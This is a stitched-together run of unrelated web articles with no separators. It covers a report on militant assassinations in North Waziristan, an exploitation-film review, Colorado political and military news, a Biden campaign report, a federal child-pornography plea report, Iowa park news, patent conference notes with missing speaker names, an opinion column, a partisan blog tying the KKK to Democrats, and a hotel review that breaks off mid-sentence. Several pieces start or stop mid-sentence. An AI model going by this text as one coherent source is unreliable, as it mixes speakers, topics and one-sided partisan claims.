politicians from the region are asking why the security forces are failing to protect people after claiming to have cleansed the region of Taliban and their Al-Qaeda and Central Asian militant allies. Senior military officials, however, reject such criticism and are adamant they will not allow the strategic region bordering Afghanistan to revert to a terrorist sanctuary. We want to ask why North Waziristan was destroyed when the military failed to eradicate terrorism, lawmaker Mohsin Dawar told a large protest in the district center, Miran Shah, on April 14. Now that the long-haired [militants] are roaming free again, what was the benefit of such a large operation? Dawar was referring to the Zarb-e Azab operation launched in June 2014. Officials claim that the operation, which involved tens of thousands of troops, eradicated terrorist sanctuaries in the region by killing thousands of militants and forcing the rest to flee. But many Waziristan residents say they paid a steep price for the offensive. For several years, more than 1 million civilian members of the regions Wazir and Dawar Pashtun tribes sought shelter in neighboring Bannu district and parts of Afghanistan after being ordered to abandon their homes on a few hours notice in June 2014. Was it launched only so that some [Taliban] can be shown to have surrendered? Dawar asked, garnering cheers from an estimated 100,000 participants of the Pashtun Tahafuz Movement protest. Known by its initials, the PTM has been demanding security and rights for the Pakistans largest ethnic minority, the Pashtuns, for over a year. The movement emerged from Waziristan, administratively divided into North and South Waziristan tribal districts. The region was once the epicenter of Islamabads domestic war on terrorism after the Taliban and Al-Qaeda established safe havens there following the demise of the Taliban regime in neighboring Afghanistan in late 2001. Residents of Waziristan and five more districts in the former Federally Administered Tribal Areas (FATA) and parts of northwestern Khyber Pakhtunkhwa Province paid a high price. They first endured violence and harsh rule by the militants. Military operations aimed at confronting the militants displaced more than 6 million Pashtun civilians in the decade following the launch of the first major offensive in 2004. A tribal leader in North Waziristan who requested anonymity citing fears of reprisals from militants and officials, told RFE/RLs Gandhara website that residents of the region are fuming over the return of the militants. The poorest among us have suffered the hardest because they lost loved ones, houses, and livelihoods, he said of the sentiment in the region. But their sacrifices were in vain because the army has not killed the top 10 [militant] leaders. Even the top 100 were spared. Locals say that for nearly a year, officials have been discussing the possible return of Hafiz Gul Bahadur and Maulavi Sadiq Noor. The two ruled North Waziristan for more than a decade after the region became a militant hub in late 2001. After the launch of Zarb-e Azb in late 2001, they moved to remote alpine valleys along North Waziristans border with Afghanistan. The tribal leader said most of the 40 people killed over the past year in what appears to be an assassination campaign in North Waziristan were former Taliban members or sympathizers who had surrendered to the authorities or had helped the military take on their former comrades. We are extremely anxious that these assassinations will once again push Waziristan into turmoil, he said. We really need a fact-finding commission to look into this issue. Authorities have so far failed to resolve any of the murders even now that regular Pakistani laws apply to Waziristan and the rest of FATA after it was merged with Khyber Pakhtunkhwa last year. No one has been arrested in connection with the murders, the tribal leader noted. Dawar, the lawmaker representing North Waziristan in the National Assembly or lower house of the Pakistani Parliament, says the regions residents are horrified over the prospects of the militants return because the military forced the residents to give up their weapons as part of a disarmament drive during the military operation. Most of the victims have been killed inside their homes, in front of their wives, parents, and children, he told RFE/RL Gandhara. Our people are now asking, what was the point of taking away our weapons and destroying our houses and bazaars when we are not safe inside our houses? Civil and military officials in north Waziristan, however, tell a different story. While requesting not to be quoted by name, senior officials in the region say that reintegration of former Taliban fighters is an important component of overall stabilization efforts in Waziristan and other Pashtun regions that suffered under the Taliban. Officials point to the vocational training they have been imparting to thousands of militants to prevent them from joining jihadist factions and to help them reintegrate into society. The officials say they have robust mechanisms to monitor the surrendered militants. They say Bahadur and Noor will be required to stick to the same rules if they abandon violence and seek a return to normal civilian life. Earlier this month Major General Mumtaz Hussain, the most senior military official in North Waziristan, assured the regions residents that the era of insecurity and bloodshed is over for good. I am not seeking bullets and explosives for the Pashtuns. I want them to have peace, he told a gathering on April 8. God willing, we will now only see flowers and love, and only hear talk of understanding and peace. But Waziristan residents remain anxious. Malik Ghulam, a tribal leader in the region, recently told Radio Mashaal that the targeted assassinations have shattered their hopes for living in peace in their homeland. We are not terrorists, he said. We are only seeking to live in peace like some other regions of Pakistan. Radio Mashaal correspondents Umar Daraz Wazir and Zafar Khan contributed reporting to this story. My current interest in seeing adaptations of Alice In Wonderland and the lack of sense in my noggin came together in Alice In Acidland. It's a 1969 anti-hippy movie written by Gertrude Steen and directed by Donn Greer under the name John Donne. Donn's is also the narrator. It's the kind of movie that needs a narrator, it has no recorded dialog. Sheri Jackson plays Alice Trenton, she provides some narration herself, and Alice's just started going to college. She meets some women and gets involved with their drug and sex parties. She has lesbian sex and takes some acid that destroys her mind. All in 55 minutes from Something Weird Video. The DVD box is right, this is no fairy tale, though it's as heavy handed as the worst fairy tale. It's like the preceding anti-drug exploitation films like Reefer Madness and The Cocaine Fiends, not very truthful and full of fear. It's laughable in it's clumsiness. There's some nudity but it's not a sexy sort of film, kind of a challenging wank. There's not much going on in the movie, Alice goes to a house for a pool party, then she's back for another indoor party. The last 10 minutes of the film are in color, depicting Alice's trip to madness. It's mostly slow zooms in and out of naked bodies with images dissolving and overlapping. It's all pretty dull. Smoke And Flesh is a 1968 film by Joe Mangine, he's the writer and director. It's a slightly better film than the other film on the disc. I do like that Something Weird fills up their discs with another movie or two, plus some extras. That biker is a guy named Turk, we follow him in his efforts to score some weed for a party. There's some nice shots of New York. He gets his weed and heads home. Soon people arrive. Everything is going great, especially in the corner where they are playing strip tease with slot car racers. Then the bikers come. Turk lets them in because they said they were invited by the woman who just entered. Turk believes them until the woman tells him of an altercation with one of the bikers. When the biker's get too annoying Turk slips some acid in the head guy's wine. He starts to have a bad trip, images from the guy's POV flash as they cut from a positive shot to a negative shot. Not quite as imaginative a trip as the Alice film in that regard. Anyway, the flashes send the bikers home and the party goes back to having fun. There's a bit of nudity here and there but nothing too naughty. It was fairly entertaining and I'd watch it again. There's a collection of trailers in the extras and a short film called Aphrodisiac! The Sexual Secret Of Marijuana. I'd seen it before somewhere.It's a documentary on the sexual use of pot. There are man on the street interviews, some bit of history, and dramatizations of the sexual effects weed has on some people. There's hardcore footage here and John Holmes is one of the people that gets some of that sexual effect. It's kind of fun. Yes, I found a better job Yes, but I'm still looking for a new job Yes, I retired Yes, I started my own business No, I like my current job No, but I'm currently looking for a new job Vote View Results A Pentagon task force that was announced last week will examine sexual assault in the ranks and it will do it quickly. Acting Defense Secretary Patrick Shanahan wants a report from the new Sexual Assault Accountability and Investigation Task Force by Wednesday. Shanahan ordered the task force into existence last month after congressional committees grilled him on reports that unwanted sexual contact was on the rise at military service academies, including the Air Force Academy in Colorado Springs. He announced the task force in a memo released by the Pentagon last week. The results of the 2018 Report on Sexual Assault and Harassment in the Military Academies are unacceptable, and I am resolved that we will do all we can as a Department to address sexual assault in our military, Shanahan wrote in a memo to service chiefs and other leaders. Shanahan wants the group to explore new opportunities to enhance the military justice system. Some advocacy groups and congressional leaders have blamed the militarys internal legal process for exacerbating sexual assault issues. One proposed solution is to hand sexual assault cases to civilian federal prosecutors, taking the military out of the loop. The congressional ire follows a Pentagon report that found the number of women at academies facing unwanted sexual contact has increased in recent years while the number of reported assaults has dropped, from 33 in 2017 to 29 last year. That has been interpreted to mean that women dont trust the military to handle their complaints. Service academy leaders have held a summit on sexual violence, and the Air Force Academy took things a step further last week, with a day dedicated to raising awareness of sexual assaults among cadets. The schools 4,000 cadets last Wednesday wore jeans as a uniform as part of Denim Day, held on campuses across the globe to support sexual assault victims. Academy superintendent Lt. Gen. Jay Silveria has huddled with other service academy chiefs in recent weeks to mull new efforts to combat sexual assaults in the ranks. Shanahan said he wants to redouble efforts to stamp out sexual assault. Our approach to eliminate sexual assault is holistic and includes efforts to prevent this crime, support and care for our victims, and ensure a robust and comprehensive military justice process, he wrote. Shanahan is likely going to remove the acting from his title soon. Insiders expect President Donald Trump to nominate him to take the secretary job outright. Hes worked in the acting secretary role since Jan. 1, when he took over from James Mattis, who quit over differences with the White House. The fact that Shanahan, a former Boeing executive, is likely the new permanent boss at the Pentagon puts additional power behind the task force and more pressure on services to come up with solutions to sexual assault before Congress mandates changes. The importance of this work cannot be overstated, Shanahan wrote. We have an opportunity to underscore the integrity of our military justice system and advance our capability to address sexual misconduct against the men and women of our armed forces. Contact Tom Roeder: 636-0240 Twitter: @xroederx An Air Force Academy law professor has been picked to be the schools next dean of faculty. Col. Linell Letendre, who served as the top ranking cadet at the academy before she graduated in 1996, will replace Brig. Gen. Andy Armacost, who is retiring at the end of the school year. The announcement follows an exhaustive process, in coordination with Air Force senior leaders, which vetted and evaluated more than 40 applicants for the position, which requires Senate confirmation, the academy said in a news release. Letendre served as an acquisition officer before the Air Force sent her to law school at the University of Washington. With her law degree, she returned to the academy as an instructor from 2004-07 before a series of judge advocate general assignments. Her work has earned her decorations including the Defense Meritorious Service Medal, which honors distinguished service outside the battlefield. Letendre served as a top legal adviser to the Comprehensive Working Group, the Pentagon committee that recommended changing laws that banned military service by openly gay troops. The question before the group was not whether the individual members approve of homosexuality in general or of gays and lesbians serving openly in the military, Letendre wrote in a paper she co-wrote that covered the decision. Instead, the colonel wrote, it was a question of putting duty above personal values. After a Senate vote, Letendre is set to pin on the star of a brigadier general in the academys top academic post. Contact Tom Roeder: 636-0240 Twitter: @xroederx An equal pay bill moved a big step closer to Gov. Jared Polis' desk Friday when the Colorado House gave Senate Bill 85 preliminary approval. The bill needs a recorded roll call vote in the House. Then it will go back to the Senate, where it passed the bill 20-14 a month ago. The upper chamber, however, must approve the bill that was amended in the House before the session ends next Friday. "I want my three granddaughters to know their worth and know they should be given equal pay for the same type of work," said Rep. Janet Buckner, D-Aurora, one of the bill's sponsors. Some Republican women in the House pushed back on the legislation. Rep. Perry Buck, R-Windsor, said it's an open invitation to litigation, which Sen. Kim Ransom, R-Littleton, said could bankrupt small businesses. "It's not so much of a woman thing," Buck said. "I don't believe in the woman being the victim. You look at how many more are getting advanced degrees. Women are on a movement." Ransom said the bill has "great motives," but it's rife with unintended consequences. She spoke of her work career as a single mother. "I never needed the government to come in and tell my employer what I needed to be paid or to negotiate things on my behalf." She added, "Guess what? I have equality. I had it years ago, and I was able to get pay raises by working hard, by going to school and getting yet another degree, by putting in the extra mile at work, by working hard, by meeting deadlines, by having a lot of productivity." Rep. Tracy Kraft-Tharp, D-Arvada, who chairs the House Business Affairs and Labor Committee, said her committee added amendments to "level the playing field." She said it was important that the business community be able to comply with the workplace rules that could be set into state law, as the legislature sends an important message on pay parity. "It is so important that we pay people equally," she said Friday morning. "This is absolutely vital, and we understand that basic value, and we want to ensure that value is a value in Colorado." Rep. Susan Beckman, R-Littleton, who has a background in human resources, questioned the need for a state law. She noted equal pay has been a matter of federal law since 1963. "If there is a claim made, a discrimination claim, usually there is a remedy that people try to find, because the last thing you want to do is discriminate on the basis of any protected class," she said. "There are many, many levels to remedy this. Employees go to court all the time." In her closing argument, Buckner asked, "Why would we not want to give employees more rights? ... Sometimes the government does have to get involved." Rep. Lori Saine, R-Dacono, said the supporters of the bill talk a lot about fairness and equality, but they don't extend that courtesy to small businesses in their proposal. "Small businesses are not equal to large businesses, not even close," she said. "Small businesses don't have the luxury of legal departments. The private right of action contained in this bill ... could bankrupt a small business. Even those found not to have violated the law will be forced to spend thousands of dollars defending themselves in time and money." It appears likely that Colorados state Senate will hold its first formally scheduled Saturday and maybe even Sunday session in decades before lawmakers finish their work next week. Senate Majority Leader Steve Fenberg, D-Boulder, told Senate Democrats Wednesday to prepare to work the weekend. That hasnt happened in more than 20 years, based on a review of House and Senate journals going back to 1998. Its yet to be determined if the House of Representatives will work this weekend as well. There have been rare instances when lawmakers meet on a Saturday. It happened in the House in 2013 and 2014. But in both years the Saturday session was started moments after the Friday session ended around midnight. Last Friday was the first time in years that lawmakers worked on a Good Friday/Passover holiday. The House worked the entire day, while the Senate worked until midnight Thursday, gaveled back in around 12:15 a.m. Friday morning and then wrapped up by just after 2 a.m. Two committees, Appropriations and Health & Human Services, met later in the morning that Friday, but everyone in the Senate was done for the day by about noon, well in time for church and synagogue services. The General Assemblys 120-day session includes weekends, but lawmakers usually go home on between Fridays and Mondays to hold town halls and the like. This time of year just over a week until the regular session is required to wrap up the office of Legislative Legal Services starts publishing daily status sheets that show how many bills are left in the 2019 session. The total is telling. Of the 589 bills that had been introduced as of Wednesday morning, 271 were still working through the process and 318 were done, either signed by the governor or killed. Of the bills introduced, 330 had come from the House and 259 from the Senate worth noting because the Senate was the first chamber for the budget, supplemental budget bills and the School Finance Act. Usually, the first chamber that hears the budget bills has the most bills in a session. Compared to 2018, there are 125 fewer bills this year and 120 fewer that have been acted on. Even Gov. Jared Polis is adding to the last-minute rush. Tuesday, he announced he backed a referred measure, sponsored by Democratic Rep. Yadira Caraveo of Thornton, to ask voters for higher taxes on tobacco and cigarettes. The money, maybe as much as $300 million, would help combat teen vaping use. Weve got 300 bills, whats one more? Polis said Tuesday. Senate President Leroy Garcia of Pueblo said the weekend work is necessary because things just arent the way they used to be, and he lays at least some of the reasons at the feet of Senate Republicans. Traditionally, when a bill came up for its final vote in the Senate, it was a quick vote with almost no discussion, and lawmakers could whip through a long list of bills awaiting final passage in an hour or two. But that isnt how things have operated under the dome this year. On Wednesday, for example, Senate Republicans spoke at length about a campaign finance bill Senate Bill 235 for the better part of two hours. Garcia pointed out it took six hours to pass the two dozen or so bills up for final vote that day. What worries me is that we havent had this level of debate on third readings, Garcia said on Wednesday. The senatorial custom is that you take as much time as you need on seconds, he said, referring to the floor debate that often produces a preliminary vote. And then [after spending] six hours on third reading [bills], we had votes of 35-0. Garcia acknowledged that its not about the ultimate vote, its about the delays. Senate Minority Leader Chris Holbert of Parker said that Senate rules limit each member to speaking twice for 10 minutes each time when it comes to discussing a bill on third reading. We dont control the volume of bills. There have a couple of times when weve gone longer on second reading, Holbert conceded. But when we have second and third reading calendars of 30 or more bills, that will take time. Holbert added: Were not having bills read at length. Were debating. Theres a different dynamic with a split legislature, he contended. We have one-party control, and we dont control whats introduced or whats on the calendar. When we have a second or third reading calendar with 30 bills, were going to talk about this. The tide has come in, Holbert added. Were getting hit with a tsunami of bills from the House, but were way behind, even with fewer bills introduced this year. Were not responsible for that. Holbert described five measures that fit the bill: the family and medical leave bill (Senate Bill 188), the sex education bill (House Bill 1032), local minimum wage (House Bill 1210), local rent control (Senate Bill 225) and the immunization bill (House Bill 1312). Holbert said that if each of those bills face 10-15 hours of hearings and debate. HOUSTON Former Vice President Joe Bidens decision to enter the Democratic presidential race is causing consternation among some Democrats, particularly women of color, who have been hoping for a nominee who better reflects the nations diversity. At the She the People forum, billed as the first presidential forum focused on women of color, Roxy D. Hall Williamsons shoulders slumped at the mention of Biden, who made his campaign announcement on Thursday. I know that we have been cultured to feel that only the white man can save us, the LaMarque, Texas, organizer said Wednesday. I just dont feel like Biden is our answer. Bidens candidacy is likely to reshape the Democratic race, which has put the partys diversity on display. The group of eight 2020 hopefuls who spoke at the forum was comprised of one black man, one black woman, three other women, a Latino man and two white men, all making the case for why they should be the nominee. Black female voters will play a critical role in the Democratic Partys attempt to defeat President Donald Trump in 2020. An inability to earn their support in past cycles has spelled political peril for Democratic candidates. For his part, Biden has maintained strong ties to the African American community over the decades. The raucous, standing-room crowd in the 1,800-person capacity auditorium at the historically black Texas Southern University listened intently as the candidates were questioned about maternal mortality, immigration, tribal sovereignty, income inequality and other issues. Attending were Sen. Cory Booker, former Obama Cabinet member Julian Castro, Rep. Tulsi Gabbard, Sen. Kamala Harris, Sen. Amy Klobuchar, former Rep. Beto ORourke, Sen. Bernie Sanders and Sen. Elizabeth Warren. LaTosha Brown, the co-founder of Black Voters Matter, said she was initially eager for Biden to enter the race but now sees strong alternatives to him. Im over white men running the country, Brown said. I dont know if him getting in changes the field. He has name recognition, but his strength is also his weakness. Who is his announcing going to surprise? She added: To ignite the kind of base that needs to be ignited to beat Trump, Im not sure he moves them. In interviews, black women pointed to a singular issue plaguing Bidens candidacy: his handling of the 1991 Supreme Court confirmation hearing of Clarence Thomas and the Senate Judiciary Committees treatment of Anita Hill, a black professor who faced a panel of white male lawmakers about her sexual harassment allegations against Thomas. A New Hampton man has pleaded guilty in federal court to possessing and distributing child pornography. William Rolen, 56, was convicted of one count of distribution of child pornography and one count of possession of child pornography. At the plea hearing, Rolen admitted that in 2018, he knowingly distributed child pornography. He also admitted that he possessed child pornography, including one or more depictions of prepubescent children. Sentencing before United States District Court Judge C.J. Williams will be set after a presentence report is prepared. Rolen remains in custody of the United States Marshal pending sentencing. He faces a mandatory minimum sentence of five years in prison with a maximum 40 years possible, a $500,000 fine, $10,200 in special assessments, and supervised release for five years to life following any imprisonment. The case is being prosecuted by Assistant United States Attorney Mark Tremmel and was investigated by the Iowa Division of Criminal Investigation, Homeland Security Investigations, the Eau Claire, Wisconsin, Police Department; the New Hampton Police Department, and the Chickasaw County Sheriffs Office. Court file information is available at https://ecf.iand.uscourts.gov/cgi-bin/login.pl. The case file number is CR 19-2014. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 As Iowans eagerly anticipate warmer temperatures, state park staff are preparing for the start of the 2019 camping season. The first weekend of May marks the official launch of the summer camping season with Iowa State Parks annual Camping Kickoff celebration. Year of the Volunteer is the focus of this years Camping Kickoff celebration as the Iowa Department of Natural Resources anticipates its 100th anniversary in 2020. We greatly appreciate our parks volunteers support and assistance as we prepare for our centennial anniversary next year, said Todd Coffelt, chief of State Parks Bureau for the Iowa DNR. Camping Kickoff is our way of showing appreciation for our campers, and this years events focus on volunteerism and activities the entire family can enjoy. More than 30 state parks will host volunteer events and special activities the weekend of May 3-5, including park cleanups, tree planting, fun runs, kayaking clinics and more. A list of parks and their programs is available online at www.iowadnr.gov/campingkickoff. Camping Kickoff weekend campers will also receive a free issue of the Iowa DNR's Iowa Outdoors magazine. Those wanting to join the Camping Kickoff celebration are encouraged to make their reservation soon. Iowa has more than 4,700 state park campsites; 75 percent of which may be reserved in advance. A link to the reservation site is available off the State Parks webpage at www.iowadnr.gov/stateparks. Iowa state parks are beloved overnight destinations for many people, says Coffelt. We offer campsites that appeal to a broad range of campers, from the more rustic hike-in sites to those with all the popular amenities. If camping isnt your style, there are 93 cabins available to rent across 19 state parks. In the off season from Labor Day to Memorial Day, cabins can be rented for a two-night minimum stay. During the peak of summer, most cabins require a seven-day minimum visit. By mid-April, most state parks have water turned on, with shower and restroom buildings open for campers. For the latest state park news, updates and information about campsites, cabins, events and more, visit www.iowadnr.gov/stateparks and sign up for the Iowa State Parks electronic newsletter. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Director Iancu Judge Michel Andrew Finch spoke on "USPTO Updates: New Section 101 Guidance & Other Hot Topics". He said that the most important issue of substantive patent law is Section 101 - patentable subject matter. The statute hasn't changed since 1793 when Jefferson and Madison wrote it and it worked well for some 200 years, until recently. "The issue must be fixed and it can be fixed given that there is broad based consensus in industry" and also because the shift was not as a result of legislation. The key principles to keep in mind in fixing the problem are as follows: (1) the 1952 Act separated eligibility from the requirements of patentability; "We cannot mix them up again"; and (2) Section 101 patentable subject matter is what is not,, part of the Useful Arts - i.e. what is not meant to be in the patent system. Director Iancu explained that every single Supreme Court case that dealt with eligibility had limited itself to the four basic categories of excluded subject matter, but the Court has deviated from these touchstones in recent years. The mistakes that are and have been made include the application of the exclusions to all types of matter and all types of technology, even if it is notproblematic. Other mistakes, Director Iancu explained, are the conflation of Section 112 issues with Section 101 and considering inventive concept and novelty under the Section 101 assessment. To address the current state of affairs, Director Iancu reminded the audience that the PTO has looked at all the cases and in January provided Guidance to examiners that synthesized the case law. "The examiners really appreciate the new approach which has resulted in consistency", he said. The unknown element right now is what the Courts will do, but Director Iancu feels optimistic that the US legislature will deal with this issue, just as other jurisdictions have. He also thinks that if the Federal Circuit wants to resolve the issue, they can fix the problem. Howe do they do that? They could take a few casesand ask forinput to have a broad discussion on several cases to try and address the matter holistically. Director Iancu concluded that given we are at the cusp of the fourth industrial revolution, we need clarity and certainty which incentivizes innovation. Otherwise, the US could risk its leading position in innovation.said that the Supreme Court has treated patent law "not as if it is commercial law, but as if its constitutional law". It has adopted terminology that is intellectually incoherent - "directed to", "markedly different", "basic building blocks of science", etc. These are not terms known in science with no clear meaning and no definition was given by the Supreme Court when it used these terms. They are really undefinable. It seemed to him, Judge Michel explained, that we are thus trapped by this situation. This has resulted in massive uncertainty. Judge Michel also flagged that a lot of US originated venture capital money is being directed to Europe and China - and quite properly because the patent eligibility issues that are being faced in the US are not present there. He considered that the laws on patent eligibility in Europe and Asia have done a much better job in providing certainty and clarity on these issues which "is good for them but bad for the US". Legislation, therefore, is really the only solution since the Supreme Court has turned down everypetition that could straighten out the mess. Hugh agreed, saying that he didn't think that the Supreme Court knew what they were getting into. Judge Michel thinks that it is more likely than not that over the next 2-4 years will see a positive change, which will be triggered by a clear realization by Congress of the problem caused by the outflow of investment out of the US to other countries. This will speed up the resolve to make change, concluded Judge Michel.followed addressing the audience on the "New Era in Copyright Legislation?" says she senses a change in the air for the ability in the US to actually enact copyright legislation. Updating copyright law has often been an arduous and painful process (see DCMA). There have only been minor updates of copyright legislation for many years and the Stop Online Piracy Act (SOPA) and Protect IP Act are cautionary tales of perhaps what not to do in trying to pass legislation. Provisions and processes which already existed elsewhere (like blocking legislation), came to an end following slogans such as "SOPA means "loser" in Swedish". But recently, Karyn is hopeful that legislation dealing with small claims, enforcement, orphan works and issues in the music system will be passed. The Copyright Office is ready to get to work on passing this legislation, she concluded, with the support and "team spirit" between all areas of technology and rights owners.then addressed the audience on "The Current State of IP International Norm Setting", beforeaddressed the question of "Why Patent Laws Right to Exclude Is Pro-competitive". Andrew felt that there has been a re-balance in the system, somewhat informed by the Head of the Division who started life as a patent lawyer . There has to be an acknowledgement, Andrew declared, that the patent right is embodied in the Constitution. The only place where the word "right" and, indeed, "exclusive right", is found is in relation to patent rights. Andrew says that you can see this re-balancing in the application of SEPs. The view that a breach of a FRAND commitment could automatically give rise to an antitrust claim is a concern, he said. "That is a concern to us as its inconsistent with a right to exclude and somehow suggests there is a treble damages claim simply by virtue of an SEP owner's FRAND commitment (to negotiate on a FRAND basis)", said Andrew. However, when negotiations break down and a breach of contract claim possibly arises, this does not automatically convert into an antitrust claim just because that commitment is made in the context of a standard setting association. To take a different approach would disincentivize innovation. However, there is a role for antitrust in standard setting organizations (SSOs) because they are a group of competitors who can exclude technology. Because of this there needs to be a balance between rights owners and users. The Antitrust Division is therefore interested in how SSOs adopt their patent policies. They haveand look at the joint conduct of members of SSOs, to make sure they are adopting the most innovative technology. Should FRAND disputes be automatically subject to an arbitration (a question from the audience)? Andrew said that it is possible that it might work, but depends on who wants to implement it and how it works.asked whether antitrust bodies are interested at the point of the development of standards or at the approval of IPR Policy? Andrew replied that it was certainly the latter - there is focus and attention on the antitrust risks on IPR Policies.concluded on "Europes Copyright Reform. The Final Outcome" explaining that the Directive was adopted only 10 days ago. Marco explained that it was a very long and controversial political process, full of public debate. National champions are not the way to compete with China Smart industrial policy is a good thing but oligopoly is not Rana Foroohar Matt Kenyon Corporate concentration has been growing in the US. According to the McKinsey Global Institute, profits and losses among both US and European companies are more concentrated than two decades ago. So why are calls for national champions large companies protected and supported by the state growing too? European policymakers want to create Franco-German giants that could rival those in the US or China. The German government may use its stake in Commerzbank to orchestrate a merger with Deutsche Bank, creating a state-backed behemoth. In the US, Big Tech has promoted the idea that breaking up companies like Facebook or Google could mean losing the tech race with China. US government officials are urging the oil industry to support American foreign policy goals and threaten countries including Germany and the UK with losing US intelligence information if they do business with Chinas Huawei. The rise of China, with its model of state-supported capitalism, is the obvious trigger. Although Beijing is now playing down its Made in China 2025 campaign, which stoked economic nationalism in the US and Europe, the basic strategy of favouring local players hasnt changed. The US-China trade war may further Balkanise markets, as Europeans and developing countries are forced to decide whose 5G networks, chips and digital technologies they want to use. Some of this is justified, given the different national philosophies around data protection and what is called surveillance capitalism. But even before all the concerns about digital competition, state support for individual industries was growing. In the aftermath of the financial crisis, both the US and Europe bailed out banks and automakers. Even after the crisis eased, there was a lasting sense that more government planning was necessary. From France to Japan, governments tried to deepen connections with business. In the US, President Barack Obama called for politicians to make strategic decisions about strategic industries, and built public support for manufacturing in particular. Donald Trump has also talked about supporting the Rust Belt, although his opportunity zones are highly political, and much of his focus has been on taking down China rather than rebuilding the US. National growth strategies arent a bad thing they can be positive for both individual nations and the global economy if they support those communities and industries hardest hit by globalisation. It is crucial that countries find ways to soften the backlash against laissez-faire capitalism if they want to protect liberal democracy. That will entail more co-operation between the state and the private sector in areas such as education and training; JPMorgans five-year, $350m education plan announced last week, which includes money to revamp vocational training at community colleges, is one example. Smart industrial policy is of value. Oligopoly isnt. Witness the Boeing safety scandal, which has highlighted warnings from Federal Aviation Administration employees that the company had too much control over safety approvals. Likewise, the idea of Germany creating an even bigger too big to fail bank fills me with dread. Does no one remember that the German state-owned Landesbanks were some of the biggest contributors to the 2008 crisis? It is easier to capitulate to populism by supporting national champions than it is to craft and pass smart national growth strategies. This is particularly true in the US, where big companies in technology, finance and healthcare, among others, collectively spend billions on lobbying and political donations to push their own causes. That behaviour is one of the things driving a backlash against free market capitalism and globalisation that eventually hurts business. Public evidence that rich companies and individuals get preferential treatment in everything from college admissions to political access has fuelled much of the extremism that is polarising markets. Creating state-run giants wont fix that problem. French and German officials may want to create their own Big Tech players. But their plans run counter to the efforts of the EU competition commissioner, who is doing much more to curb Silicon Valley and create an even playing field than any cross-border European conglomerate ever could. The US can keep Huawei out of American telecom networks, but unless the Trump administration can develop a coherent trade and development strategy at home, it will not really matter. A handful of tech giants are unlikely to create sustained growth on their own. A broad and diverse supply chain, including companies of all sizes, in high growth industries, could. That may require more state intervention and theres nothing illiberal about that. It wasnt China, but rather Americas first Treasury Secretary Alexander Hamilton who came up with the first formal industrial policy in 1791. But governments should be encouraging investment in human capital, revamping education, rebuilding infrastructure and fostering economic diversity not making big companies bigger. National growth strategies are welcome. National champions are not. Grand Old Partisan recalls my article from this day in 2011. It is based on Back to Basics for the Republican Party, the history of GOP civil rights achievement: "As reported by The Blaze, President Obama attended Easter Sunday service at the Shiloh Baptist Church in Washington, DC. Of all the churches he could have attended, why this one? Last year, the pastor insinuated that Rush Limbaugh is part of the Ku Klux Klan. That was just beyond ridiculous. Rev. Wallace Smith falsely accused an innocent man. During his Easter sermon, however, the pastor chose not to mention Obama's praise for a fellow Democrat, the late Senator Robert Byrd, who really was a Klansman. In fact, Robert Byrd was a recruiter for the Ku Klux Klan. What is the truth about the Ku Klux Klan? Now is the time to speak some Truth to Power. It would have been far more truthful for Rev. Smith to have admitted the fact that Klansmen were DEMOCRATS. Yes, the Ku Klux Klan was established by the Democratic Party. Yes, the Ku Klux Klan murdered thousands of Republicans African-American and white in the years following the Civil War. Yes, the Republican Party and a Republican President, Ulysses Grant, destroyed the KKK with their Ku Klux Klan Act of 1871. How did the Ku Klux Klan re-emerge in the 20th century? For that, the Democratic Party is to blame. It was a racist Democrat President, Woodrow Wilson, who premiered Birth of a Nation in the White House. That racist movie was based on a racist book written by one of Wilson's racist friends from college. In 1915, the movie spawned the modern-day Klan, with its burning crosses and white sheets. Inspired by the movie, some Georgia Democrats revived the Klan. Soon, the Ku Klux Klan again became a powerful force within the Democratic Party. The KKK so dominated the 1924 Democratic Convention that Republicans, speaking truth to power, called it the Klanbake. In the 1930s, a Democrat President, Franklin Delano Roosevelt, appointed a Klansman, Senator Hugo Black (D-AL), to the U.S. Supreme Court. In the 1950s, the Klansmen against whom the civil rights movement struggled were Democrats. The notorious police commissioner Bull Connor, who attacked African-Americans with dogs and clubs and fire hoses, was both a Klansman and the Democratic Party National Committeeman for Alabama. And yes, starting in the 1980s, the Democratic Party elevated a recruiter for the Ku Klux Klan, Barack Obama's friend, Democrat Senator Robert Byrd, to third-in-line for the presidency. Speaking more Truth to Power, the Republican Party has been a resolute enemy of the Ku Klux Klan, terrorists of the Democratic Party. Here is a Video Version of this article on YouTube: https://youtu.be/KRPpRXOYZhk Michael Zak is author of Back to Basics for the Republican Party, a history of GOP civil rights achievement. Each day, Michael Zak's grandoldpartisan YouTube channel and Grand Old Partisan blog celebrate more than sixteen decades of Republican heritage. And, see Speech Raves for audience feedback from his presentations in thirty-one states so far. He also wrote the 2005 Republican Freedom Calendar. Clarence Thomas cited Back to Basics for the Republican Party in a Supreme Court decision. Buy the book at Amazon "This is the most amazing book about politics that I have ever read. The Overview should be required reading for anyone with even a minor interest in government. The remainder is an enthralling history lesson that I will never forget. For years, we have all been misled about the true nature of the GOP. This is the real deal! Read it and be proud!" "Michael Zak wrote the definitive history of the GOP." "Back to Basics for the Republican Party is the most significant contribution to the Republican Party in the last twenty years apart from Ronald Reagan." "Back to Basics for the Republican Party is more important to our party now than ever before." and "one of the best books I ever read" Note: SCP provided my stay but all words and photos are mine. We recently headed down to Colorado Springs to visit the SCP Hotel. SCP stands for Soul, Community, Planet. The idea is to nurture your soul, meet up with the community around you, and take care of the planet while staying with them. These philosophies are pretty much baked into every single thing around the hotel. However, hotel is a bit of a misnomer, because SCP is so many things brought together. While its not 100% complete yet, they took what was a run-down motel and renovated it into a chic, modern place to stay in south Colorado Springs yet keeping the charm of the old building. A lot of thought went into this. Because while keeping the old structure eliminated the possibility of LEED Green Building certification, to not save the building would have meant tons of concrete just dumped into a landfill. The rooms are comfortable and warm, yet utilitarian. Most of the wood is beetle-kill, which is both beautiful and a recycled product. They truly have thought of everything. Even the soaps are from recycled oils. In addition to the hotel space, there is a market, a fitness studio and a co-working area. Provisions Market The market has reasonably priced, locally sourced things that not only a hotel guest might need, but someone in the local area might normally pop into a Whole Foods or Trader Joes for. Except in the Springs, both of those stores are on the north side of town, so for people on the south side, this would be much more convenient. Co-Working at SCP Commons The co-working space is exactly what you would want and need. I know, because I actually worked there for a few days. Although I love having my home office, I cherish the ability to be a digital nomad as needed. SCP Commons offers a large communal workspace, private conference room, along with access to the SCP Fit fitness center and outdoor pool. SCP is offering monthly memberships now at introductory rate pricing! SCP Fit Fitness Classes I was unable (to get my butt out of bed for) the classes at SCP, but its an important value to them. They know people traveling often get off their routine, but hotel gyms are usually a hot mess. Their classes are available for a 